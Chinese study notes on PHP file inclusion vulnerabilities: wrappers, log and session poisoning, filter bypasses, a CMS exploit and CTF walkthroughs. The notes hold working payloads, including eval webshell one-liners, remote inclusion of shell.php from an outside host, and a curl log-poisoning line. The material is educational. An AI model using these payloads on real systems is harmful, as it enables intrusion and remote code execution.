文件包含
文件包含
ccb文件包含漏洞
原理
文件包含:
文件包含即程序通过 包含函数 调用本地或远程文件,将文件内容作为脚本执行,以此来实现拓展功能。
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
文件包含漏洞原理:
文件包含漏洞是指当服务器php.ini文件中开启allow_url_include
选项时,就可以通过PHP的某些特性函数,比如include()
,require()
和include_once()
,require_once()
,利用URL去动态包含文件,让当前页面去执行指定的另外一个文件中的代码内容。此时如果没有对文件来源进行严格审查,就会导致任意文件读取。黑客将很有可能让当前页面去执行超出 Web 目录中的文件,或者是 Web 目录中不希望被执行的敏感文件,甚至是远程服务器上的文件。
几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。
1 | #文件包含各个脚本代码 |
检测
白盒
代码审计
黑盒
漏洞扫描工具;
公开漏洞;
手工查看参数值和功能点(看是不是接收一个文件名作为参数,或者该功能的实现会不会涉及include()之类的函数)。
PHP中常见包含文件的函数
include()
当使用该函数包含文件时,只有代码执行到include()
函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。
1 |
|
比如访问服务器本地1.txt的内容:
include_once()
功能与include()
相同,区别在于当重复调用同一文件时,程序只调用一次。
require()
require()
与include()
的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。
require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
分类
本地文件包含
被包含的文件在服务器本地。
利用条件:
allow_url_include = On
比如,以get请求实施文件包含攻击,查看服务器本地文件:?page=a.php
、?home=b.html
1 | // windows server |
远程文件包含
利用条件:
allow_url_fopen = On
是否允许将URL(HTTP,HTTPS等)作为文件打开处理
allow_url_include = On
是否允许includeI()和require()函数包含URL(HTTP,HTTPS)作为文件解析处理
远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen
选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
比如使用 http://192.168.75.138/shell.php
来替换原 URL 中包含的文件名,可以远程执行 PHP 脚本。shell.php可以是一个一句话木马。
==PHP伪协议==(重要)
1 | file:// — 访问本地文件系统 |
各协议的利用条件和方法:
参考:https://www.cnblogs.com/endust/p/11804767.html
file://
php 涉及到文件以及协议的地方默认使用 file 协议,如果没有写出协议名或者协议不存在,都会被当成 file 协议来解析。
file://[文件的绝对路径和文件名]
不受allow_url_fopen、allow_url_include 开启的限制。
如:?a=file://C:/Windows/win.ini
http://、ftp://
访问 HTTP(s) 网址、访问 FTP(s) URLs。允许通过 HTTP 1.0 的 GET方法,以 只读 访问文件或资源,通常用于远程包含。
需要allow_url_fopen = On、allow_url_include = On。
比如包含木马文件?a=http://vps.vps.vps.vps/shell.php
木马文件(shell.txt)内容:<?php @eval($_POST['shell']);?>
php://
访问各个输入/输出流(I/O streams)。经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。
包括php://stdin
、php://stdout
、php://stderr
、php://input
、php://output
、php://filter
、php://fd
、php://memory
、php://temp
九种。
php://input
访问请求的原始数据的只读流,将post请求的数据当作php代码 执行。注意
enctype=“multipart/form-data”
的时候php://input
是无效的。需要allow_url_include = On,但是不受 allow_url_fopen 影响。
1
2
3
4
5
6
7
8
9?page=php://input
命令执行:
POST:
system('ls');
GetShell:
POST:
fputs(fopen('hack.php','w'),'<?php @eval($_POST['shell']) ?>');php://filter
数据流打开时的筛选过滤应用,读取/解析 本地源代码。
不受 allow_url_fopen、allow_url_include 影响。
用于读取文件(增加base64编码):
1
2
3
4
5?page=php://filter/read=convert.base64-encode/resource=index.php
// 将php文件通过base64编码读出("read="可以省略),若不用base64编码,php文件就会作为脚本执行,无法输出源代码。
?file=php://filter/read=convert.base64-encode/resource=flag.php
//读取文件源码用于解析(执行)文件,可用于getshell:
1
2
3
4用于GetShell(shell.txt需通过文件上传在目标服务器上):
木马文件(shell.txt)内容:<?php @eval($_POST['x']);?>
然后菜刀连接 http://localhost/test.php?file=php://filter/resource=./1.txt 即可。
data://
需要allow_url_fopen=On,allow_url_include=On。
将data://所指内容 执行。
1 | data://text/plain,待执行的文本内容 |
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo(); ?>
zip://
压缩流,可以访问压缩文件中的子文件,将子文件的内容当做 php 代码 执行。
不受 allow_url_fopen、allow_url_include 影响。
1 | ?page=zip://D:/phpStudy/WWW/file.zip%23code.txt |
zlib://、bzip2://
压缩流,可以访问压缩文件中的子文件,将子文件的内容当做 php 代码 执行。
不受 allow_url_fopen、allow_url_include 影响。
1 | ?page=compress.zlib://file.zip |
各种文件包含
本地文件包含
利用网站报错日志写入木马程序。
流程如下:
- 首先需要找到日志文件的存储位置
- 借助报错,往日志文件写木马
- 使用工具(菜刀或者蚁剑)连接
包含上传文件(先上传,后包含)
假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
。
图片代码如下:
1 | fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>") |
然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg
,包含这张图片,将会在index.php所在的目录下生成shell.php。
包含Apache日志文件
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
前提是知道日志的物理存放路径。
日志默认路径
apache+Linux日志默认路径
1
2/etc/httpd/logs/access_log
/var/log/httpd/access_logapache+win2003日志默认路径
1
2D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.logIIS6.0+win2003默认日志文件
1
C:\WINDOWS\system32\Logfiles
IIS7.0+win2003 默认日志文件
1
%SystemDrive%\inetpub\logs\LogFiles
nginx 日志文件
日志文件在用户安装目录logs目录下。以我的安装路径为例
/usr/local/nginx
,那我的日志目录就是在/usr/local/nginx/logs
里。
web中间件默认配置
apache+linux 默认配置文件
1
2/etc/httpd/conf/httpd.conf
index.php?page=/etc/init.d/httpdIIS6.0+win2003 配置文件
1
C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件
1 | C:\Windows\System32\inetsrv\config\applicationHost.config |
curl 构造一句话,写入日志文件测试记录
1 | curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>" |
包含session
可以先尝试包含到session文件,再根据session文件内容寻找可控变量,再构造payload插入到文件中,最后包含即可。
前提
- 找到Session内的可控变量
- Session文件可读写,并且知道存储路径
session常见存储路径:
1 | /var/lib/php/sess_PHPSESSID |
包含/pros/self/environ
proc/self/environ
中会保存user-agent
头,如果在user-agent
中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
1 | - /proc/cpuinfo:CPU 的信息 (型号, 家族, 缓存大小等) |
包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
如何获取临时文件的文件名:
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考。
防御
黑名单(协议、路径限制)
使用 str_replace()
函数把 http://
、https://
、../
、..\
替换为了空值,来防止远程文件包含和相对路径的文件包含。
绕过:在 http://
中再嵌套一个 http://
,以及在 ../
中多嵌套一个 ../
,在 URL 中输入包含的文件名为 ..././..././phpinfo.php
,则可以绕过限制;另外,也可以使用绝对路径的文件包含。
固定后缀
使用include ( $filename." .html" );
之类的方式固定后缀。但是存在绕过。
绕过:各种截断:%00截断、路径长度截断、问号截断、#号截断、空格绕过等。
固定所要包含的文件
不传参,直接写死include的文件。
绕过
无限制文件包含
无限制文件包含是指对于所包含的文件没有限制。无需绕过,可以直接进行文件包含攻击。
1 |
|
利用条件:
需要 allow_url_include=on
http://127.0.0.1:8080/include.php?filename=../../www.txt
包含本地相对路径的文件。
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt
包含在xiaohua.txt中的PHP代码通过远程文件包含被成功当成PHP代码解析。
有限制文件包含(需要绕过)
有限制文件包含是指当代码中存在特定的前缀或者.php、.html等扩展名过滤时,攻击者 需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。
1 |
|
包含文件失败:
%00截断
%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。
例如:http://127.0.0.1/test.php?filename=xiaohua.txt%00
利用条件:
magic_quotes_gpc=off
PHP<5.3.4
路径长度截断
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断。
利用条件
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B(根据服务器操作系统决定)
测试payload:
1 | http://127.0.0.1/include.php?filename=1.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ |
成功绕过,执行1.txt的内容<?php echo phpinfo() ?>
。
点号截断
点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。
问号绕过
因为问号会分隔实际的 URL 和参数
http://127.0.0.1/include.php?filename=http://www.xiaodi8.com/readme.txt?
#号绕过
因为 # 表示书签
http://127.0.0.1/include.php?filename=http://www.xiaodi8.com/readme.txt%23
注意#
要编码为%23
空格绕过
http://127.0.0.1/include.php?filename=http://www.xiaodi8.com/readme.txt%20
注意空格要编码为%20
指定前缀绕过
使用相对路径 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。
例如 ?file=../../phpinfo/phpinfo.php
编码绕过
服务器端常常会对于../
等做一些过滤,可以用一些编码来进行绕过。
实例
某CMS程序文件包含利用-黑盒
易酷CMS是一款影片播放CMS。该CMS2.5版本存在本地文件包含漏洞。我们可以利用这个漏洞,利用报错信息将一句话木马写入日志中。然后利用文件包含漏洞包含该日志文件,再用菜刀连接拿shell。
我们通过访问下面的url,将一句话木马写入日志文件中。由于文件包含时会自动将文件内容解析为php代码,所以下面的URL中并没有使用<?php ?>
。该URL会发生报错:
http://192.168.10.22/index.php?s=my/show/id/{~eval($_POST[x])}
然后就生成了相应的日志文件,文件存储有URL中的恶意代码:
该日志是以时间日期命名的,测试一句话木马:
http://192.168.10.22/index.php?s=my/show/id/../temp/logs/20_08_14.log
用菜刀连接该日志文件,得到shell。
CTF-南邮大
http://4.chinalover.sinaapp.com/web7/index.php
进入网站:
点击click me? no,发生跳转:
- 确定是否为文件包含
发现网站URL的参数名为file且接收一个文件名,判断可能考察文件包含。直接访问show.php看看:
与file=show.php
显示是一样的,说明index.php?file=show.php
存在文件包含。
- 尝试包含其他文件
尝试使用php://input进行文件包含攻击,执行恶意php代码:
执行失败,说明存在过滤,可能检测到了php之类的关键字,或者allow_url_include
不为on。
尝试使用不受allow_url_include
限制的php://filter
读取文件,判断是哪种情况:
发现读取成功,说明是allow_url_include
不为on。
把读取内容base64解码,找到flag。
i春秋web include百度杯真题
进入题目链接:
网页给出了网站的php源码,发现存在文件包含。
尝试提交path参数,包含phpinfo.php,成功。
尝试包含index.php,成功。
发现存在index.php。改为index.phP,发现报错。
说明系统对大小写敏感,为linux系统,而且从报错信息来看也知道是linux。
进一步尝试使用php://input
来包含恶意代码:
查看可疑文件,查看页面源代码,得到flag:
或者也可以使用php://filter
读取该文件:
然后base64解码即可。